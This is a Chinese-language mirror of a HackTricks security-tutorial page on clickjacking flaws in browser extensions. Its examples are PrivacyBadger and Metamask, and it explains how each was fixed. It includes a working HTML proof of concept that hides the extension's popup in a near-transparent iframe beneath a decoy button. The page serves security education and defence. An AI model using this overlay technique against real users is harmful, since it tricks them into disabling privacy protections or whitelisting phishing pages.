mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
125 lines
6.7 KiB
Markdown
125 lines
6.7 KiB
Markdown
# BrowExt - 点击劫持
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
## 基本信息
|
||
|
||
本页面将利用浏览器扩展中的点击劫持漏洞。\
|
||
如果您不知道什么是点击劫持,请查看:
|
||
|
||
{% content-ref url="../clickjacking.md" %}
|
||
[clickjacking.md](../clickjacking.md)
|
||
{% endcontent-ref %}
|
||
|
||
扩展包含文件**`manifest.json`**,而该JSON文件具有一个字段`web_accessible_resources`。以下是[Chrome文档](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)对此的解释:
|
||
|
||
> 这些资源将通过URL **`chrome-extension://[PACKAGE ID]/[PATH]`** 在网页中可用,可以使用**`extension.getURL方法`**生成。经过白名单授权的资源将使用适当的CORS标头提供,因此可以通过诸如XHR之类的机制访问。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||
|
||
浏览器扩展中的**`web_accessible_resources`**不仅可以通过网络访问,还可以利用扩展的固有特权。这意味着它们具有以下功能:
|
||
|
||
- 更改扩展的状态
|
||
- 加载其他资源
|
||
- 在一定程度上与浏览器交互
|
||
|
||
然而,这个功能存在安全风险。如果**`web_accessible_resources`**中的资源具有任何重要功能,攻击者可能会将此资源嵌入到外部网页中。访问此页面的无意用户可能会意外激活此嵌入式资源。根据扩展资源的权限和功能,此激活可能导致意想不到的后果。
|
||
|
||
## PrivacyBadger示例
|
||
|
||
在扩展程序PrivacyBadger中,发现了一个与`skin/`目录声明为`web_accessible_resources`相关的漏洞,声明方式如下(查看原始[博客文章](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
||
```json
|
||
"web_accessible_resources": [
|
||
"skin/*",
|
||
"icons/*"
|
||
]
|
||
```
|
||
这种配置导致了潜在的安全问题。具体来说,`skin/popup.html` 文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可能被嵌入到一个 `iframe` 中。这种嵌入可能被利用来欺骗用户,使其无意中点击“为此网站禁用 PrivacyBadger”。这样的操作将通过禁用 PrivacyBadger 保护来危及用户的隐私,并可能使用户受到更多跟踪的影响。可以在提供的 ClickJacking 视频示例中查看此漏洞的视觉演示:[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)。
|
||
|
||
为了解决这个漏洞,实施了一个简单直接的解决方案:从 `web_accessible_resources` 列表中移除 `/skin/*`。这一变更有效地通过确保 `skin/` 目录的内容不能通过 web 可访问资源访问或操纵来减轻了风险。
|
||
|
||
修复方法很简单:**从 `web_accessible_resources` 中移除 `/skin/*`**。
|
||
|
||
### PoC
|
||
```html
|
||
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
||
|
||
<style>
|
||
iframe {
|
||
width: 430px;
|
||
height: 300px;
|
||
opacity: 0.01;
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
#stuff {
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
button {
|
||
float: top;
|
||
position: absolute;
|
||
top: 168px;
|
||
left: 100px;
|
||
}
|
||
|
||
</style>
|
||
|
||
<div id="stuff">
|
||
<h1>
|
||
Click the button
|
||
</h1>
|
||
<button id="button">
|
||
click me
|
||
</button>
|
||
</div>
|
||
|
||
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||
</iframe>
|
||
```
|
||
## Metamask Example
|
||
|
||
[**关于Metamask中ClickJacking的博文可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下,Metamask通过检查用于访问它的协议是否为**`https:`**或**`http:`**(例如不是**`chrome:`**)来修复了漏洞:
|
||
|
||
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Metamask扩展中的**另一个ClickJacking漏洞**是用户可以在页面可疑被钓鱼时**点击以将其加入白名单**,因为存在`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面容易受到Clickjacking攻击,攻击者可以滥用它显示正常内容,使受害者在不知情的情况下点击将其加入白名单,然后返回到被加入白名单的钓鱼页面。
|
||
|
||
## Steam Inventory Helper Example
|
||
|
||
查看以下页面,了解浏览器扩展中的**XSS**是如何与**ClickJacking**漏洞链接在一起的:
|
||
|
||
{% content-ref url="browext-xss-example.md" %}
|
||
[browext-xss-example.md](browext-xss-example.md)
|
||
{% endcontent-ref %}
|
||
|
||
## References
|
||
|
||
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
||
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||
|
||
</details>
|